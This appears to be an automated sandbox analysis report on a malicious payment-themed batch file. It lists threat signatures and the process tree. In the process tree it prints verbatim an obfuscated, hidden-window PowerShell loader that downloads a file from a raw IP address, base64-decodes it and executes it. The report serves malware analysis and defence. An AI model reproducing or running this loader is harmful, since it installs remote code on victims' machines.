Analysis
- max time kernel
147s - max time network
142s - platform
windows10-2004_x64 - resource
win10v2004-20240508-en - resource tags
- submitted
21/06/2024, 02:21
General
- Target PAGO M-R4535555397585634646347575473462634652356426267547533.bat
- Size 6KB
- Sample240621-ctfyaazemm
- SHA256 61e82c4f79fa82513d024015a1a1cfa7bf19a1f654db5dfea8389fbac8886859
Score
8/10
Malware Config
Signatures
- Blocklisted process makes network request 6 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of WriteProcessMemory 4 IoCs
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\PAGO M-R4535555397585634646347575473462634652356426267547533.bat"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -windowstyle hidden "cls;$Pearleye = 1;$Bemyndigelse='Su';$Kulturs228='ing';Function Parameron($Oxyrrhynchid){$Frowsts=$Oxyrrhynchid.Length-$Pearleye;$Arbejdsnedlggelse1=$Bemyndigelse+'bstr'+$Kulturs228;For( $Photomural=5;$Photomural -lt $Frowsts;$Photomural+=6){$Bastning+=$Oxyrrhynchid.$Arbejdsnedlggelse1.Invoke( $Photomural, $Pearleye);}$Bastning;}function Overwent($Kreditorselskaber){ .($Pharisaical) ($Kreditorselskaber);}$Hallelujatic=Parameron ' MicrMNonreo Imm zDeklai ,fvrlAgroblHyponaEmbro/Hages5Gurne.Aurae0 .etr Ideop(SvipsWTe roiFnotynafsatdGaigaoAs,erwSuffosdro g MetapNEnuclTZeans ubst1indus0Blind.Grell0Inarc; ouve Eng aWOmlahiBackunSteka6Forev4T ety; Pl i ParesxReprs6 Asse4Mo,or; ote ,illirEndpov Fami: Y,pp1 Skov2 Para1Mal.h.T,ner0.kbne)Forsv pre.rG Grime unkecGruenkR,mpeo Klyn/ rsen2 nha0Tocif1Typo.0Skibs0disja1Fos.e0Yfere1 Grap HypopFCirkuiSc errHaandeFlankfSendeoMe nextan t/Gastr1Rawbo2 Un e1Reada.Konsi0Capil ';$Guahibo=Parameron ' .dkeUprebisGodvieSammerBlath-StyrtA Vandg PngleCon.enOstert brug ';$Forsmmelse=Parameron ' Ud,ihSu.intAdamatFaksipUfo s:.ermo/Kommi/Squas1Neutr9Rised4Ungdo.M,nit5 Stol9Sedus. Blea3Endo.1 Depe.Ca se1 D co8Accen7 Krad/ ImmeFBedelo Ruf.rR gneeErstas MasthPrep.oBlankrBo,ortslideeTracanCoituiEqu,vnstyligKry p.SvineaRetics BedddCo ne ';$Germanismen=Parameron 'P eth>Ablas ';$Pharisaical=Parameron 'ForpaiCamaseIntr,x I.ma ';$Bynken='Vandfogedens';$Skarringers = Parameron ' CalleBe.gscDyreahSto.moFacet Recla%Poplia.maapp Mid pLapsedBr.gbajas etPrediaNerin%afs a\NaresB Tr,ne T,rtgGhafiuSn,ttl Se,efMembriEkspanNonvogScarf.EllyrU enzidMoabipP isa Holde&Monil&Cutir E,zymeK.igsc SepahCarieo I.eo SelvetRmmeg ';Overwent (Parameron 'Hensi$ThamngVe.dmlUpstaoKeyclbSuboraTeagul,trip: OmreKBle nlS.camiSynede Kopun SvintDeteraPreredIsolagUfrugas.ushnAffing Ta,u=.inna(SpagncPilawmHyppedseren lop/ReviscBaxwa Posit$ForneSFortyk ,ondaOpdatrSlagtrMilitiHusbun,odstgUd,umeelektr,anonsSpi n)Psa t ');Overwent (Parameron ' Reco$MolesgHavfol Rabbo AphobRomula HypelSigne:AnlgsCUafhnrOrkanaMuli.sFo.efsPortvn Overe Sta,s Enzysana.o=Nonma$A,surFgastroPreenr skovs Artim NedbmOverseGho,tlNonacsTe noe,oafs.Sig,esAverrpCentrlFaktuiP.ogntLaur ( Nagg$SkaraGStyrte Co,crOr,enmPaap aclerknEfteri Unins Explm Bugde H rbnHands)Acety ');Overwent (Parameron 'Pa,al[FerreNPe.reeForgrttegni. Syn S Blise Aut.rerstav FilmiIlluvcSuba e HolaPKaninoMiddaiprecanOverft Cl.bMBerskaHuapanUnseratobakgDismeeArkerrForti]Langb:Un ru:FrasoSVesteeRetancEpistuNya.jrOverviSandjtMusliyMiffyPsavelr,amikoHjaelt M.troChap cAlv doStraflInh.b Omdig=Non,r pids[Ale aNSkraaeSchiztEkspl.WarriS,alsbe affocBarseuConcirSmaafiPachytDesorynikolPThongrkrokeoM,nnitHop,eo K,agcSjuskoIdeallRome.TS ttey.dsagp SuffeTorve] Well:Marin:BikorT Kuchl Blansluftr1Fyl,e2signa ');$Forsmmelse=$Crassness[0];$Surv= (Parameron 'Koket$Pos.mgFilm,l SpegoKo,tob UfejaKlorelCoapt:Pr elBDumpnr B gnoDetacs UnfotRaskheDebonn i,ems Gausb Reg,eapostlDe.drgLayofnomnoriBendan unsagC.elteUkrl,rFinalnFloore.nstrs Unc,=TiptoNUndere ellewAge.h-TrkulOUn enbLycanjBlin,eBeautc SkaatTh ad ParceSResulyBaandsV diht BarkeGestim nno..lumgN ,etieoutjot Unip.UdrmnWHol peUnimibtroupCChangl M.leiReporeKlam.nOralot');$Surv+=$Klientadgang[1];Overwent ($Surv);Overwent (Parameron 'Syste$RevolBGstetr EnvioPrivis.kruet PapleAmp.inEksigsAe idbVeb geNondelOphthgTeleanVbniniReposn Thung Mar,e ruptrDualinBosuneUnexpsDrawf.AirphH F,rme,nossaMagnedU pece S etr,hellsDemol[Uncar$Conf,GSkaffu Ud oaEmi,rhangliiOppakbJuleroAnti.]Genne=Earli$ arkfHLibelaAmputlCylinlTokayeVa.utlForenu LivmjStatsa telet .hitiEdyt cBrot, ');$Inficerendes=Parameron 'adres$VerdeBSp inr lmavoTelefsNongrt AktieTkk.rnQuadrsPe sob PinceUncomlDeri.g MabpnP oduiKanalnContugSpan,e.pildrMar pnFor.ee.issksHelma.SquelDSk.aloBrowsw ModsnTro.blPalfro I dsa DiscdOmohyFWil oi Jo wl ukne Reci(B,hae$ .nivFBoleto abarrTamelsBlot,mPreremPeneseSubapl Eksis Calce Swag,Zones$MeliaEfrigifBo,mstBopyreSpitbrFugtis MethpUntrar Frisg MalaeBeundr.ppele KovanVelocs.acks)Winki ';$Eftersprgerens=$Klientadgang[0];Overwent (Parameron 'Teske$KoblegPeltal AlphoAfl,vb.slaba AztelGem.e:Brevof SkovofordarArmbreMicr,n MammkCo,ywl Paase Gramr Sym.= Varn(K,oldTpha.oe Galls SysktAbonn-Carv,PA,deramaskitNon.uhSpen I.lac$Bitu EBetonfYachttIndste MidtrArtlisParappForb,r Forsg a.gaeScorprUdpine Arian sinns Varm)ls re ');while (!$forenkler) {Overwent (Parameron ' ene$BoltigDevwslEuropoSuberb Drmma azzmlSvovl:Indg,ABrnepsPresusAktieiS.rags KomptDentao,tokrr Gro sD.rep=slibe$Spic tS.iddrIn luuSphaee brne ') ;Overwent $Inficerendes;Overwent (Parameron ' VaagSGodset Eleca ste,r NavntCal.a-PolymSW,terlsin.aeKrydse FrompAccu, Satur4Bolsj ');Overwent (Parameron ' Whig$AgestgGvin lSmokiory.ekbattidaDativlHume :HolopfSniesoMangarTasteedromonWhe.ek ,iazlHatcheDargsrT ltn= Fore(Ber mTScalaeHumbls .avrtObben-fond.P,skelaDaytotCaru.hpu.er ,ulst$UnmanE HorofA imatYouthe CashrRelats Unenp Job rCrickgFaeedeFundirsal.seBi.lenFastss Cacc)Speci ') ;Overwent (Parameron 'Prefa$SirupgTransl.equioEgn,pb CloaaTermilRocks:EmulsSEnarckPremaeop rel.ondin rtife.lumbe Bou v antonMorpheAn str,esidsWhe,f=infek$ManicgSilkel adluoKogtebSqualaSkumblS.eep: Om oSDe,enm No vuTurbod VerdsK udeo.empemT,roesSukkelMasteaAnme,g B,resPaata+ arol+Bjerg% miss$StedkC HalsrtrskoaSygepsSwabbsDdkednSambeeAm lesTiaars Agly.Daimlc,efleoSrbesu,ollanTallyt Mi.e ') ;$Forsmmelse=$Crassness[$Skelneevners];}$Nedrigheder=343680;$Tragtning=29210;Overwent (Parameron 'Senne$ ver gLiq.il Bes,oBet,lb RakkaSolarl Amts:InterID.giel SufilSilk.iMukkemPeperiFabritChumaafermeb k.pil rabie Ba,q Kontr=M ski Sem,eGTru.leIntertDemic- StatCKys,eo .jorn nonct SigieGonidnHyttet Erhv Hool$KonveECarnifHyment Pro,ePral.rProlosTokompSmkfer Hoveg Th,reForesrKvindeAngulnTop,ks Peni ');Overwent (Parameron ' Part$Bo,seg Bra,lB.ggeoE.ergbDyna.a bengl Indf:Up erUWall nirr,ggTraf r B briAthe.no.hoed,utplaDiscobArtoclbran,e ,ifl Uploa=Smoe, Tynds[TolvmSCostoyAnabasPlimmt nusteCrossmF.rre. EnliCBolleoSnedknkirkev,ekseeCym erSporttMntpr]Stron:Polyg: Sen F OptirbygnioP,ndemAabe.B AdamaK.rsmsNondeeConse6 femt4PolitSForudt ElvrrSvirriTotaln,mmeng pict(Prosp$Fot,gI MordlMarthlFo etiUdstumAcc,siOv rpt StacaSjlembExtralRa.ioeSlav,)Samme ');Overwent (Parameron 'Furfu$SecesgwoodslStranoHyp,rbUplooa Udstl.enum: AntiKFrangvCur oa Sales BehneSuggesfors. Indki=maywe Qui,t[Fa.ilSSupe.y CohesUnab tspon.eK kenm Thus.GulddTHy oce tidxRa iot Gaso. StraEProfin V.incAmageo ,iljdLykkeiMetrinVirksgBode,]Stra,:C ond:RefinAelimiSFonolC HundIHistoIR mit.blledGBilleeUnpartRegleSStaphtForlyrOver.iPartinKrftsgTvin.(K.arg$EnterUNovi nCamesgBinghrst.epiReplenDrejed Nepha vo,tbSkonnlAkneee Vid,)Paraf ');Overwent (Parameron 'Yu.ci$ .utcgS burlUn.reoK.njubSemiraFaneblExpia:.askiDbjergeMis ef lanrrBrugeoef.ers Dafft ,tev=Inter$Pawe KNeurov Blo a ,ramsSclafe saa sConve.ProklsSluttuSonorbGr.nksT alatf rber FjoriJackenOverigSynne(Dateb$ OsmoNAngryeBlanddPec,sr Indui HunkgKo.mihDismieWatchd,terieInterr vale,Oxdia$Tilg,T SagarApr oaUdplag Un etOpk bnUnstaigrassnS,altgHv,le)Udsto ');Overwent $Defrost;"2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Begulfing.Udp && echo t"3⤵
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
__PSScriptPolicyTest_ypnuvckc.jx0.ps1
memory/3788-2-0x00007FF8B0ED3000-0x00007FF8B0ED5000-memory.dmp
memory/3788-3-0x00000151F3750000-0x00000151F3772000-memory.dmp
memory/3788-13-0x00007FF8B0ED0000-0x00007FF8B1991000-memory.dmp
memory/3788-14-0x00007FF8B0ED0000-0x00007FF8B1991000-memory.dmp
memory/3788-15-0x00007FF8B0ED0000-0x00007FF8B1991000-memory.dmp
memory/3788-16-0x00007FF8B0ED0000-0x00007FF8B1991000-memory.dmp
memory/3788-17-0x00007FF8B0ED0000-0x00007FF8B1991000-memory.dmp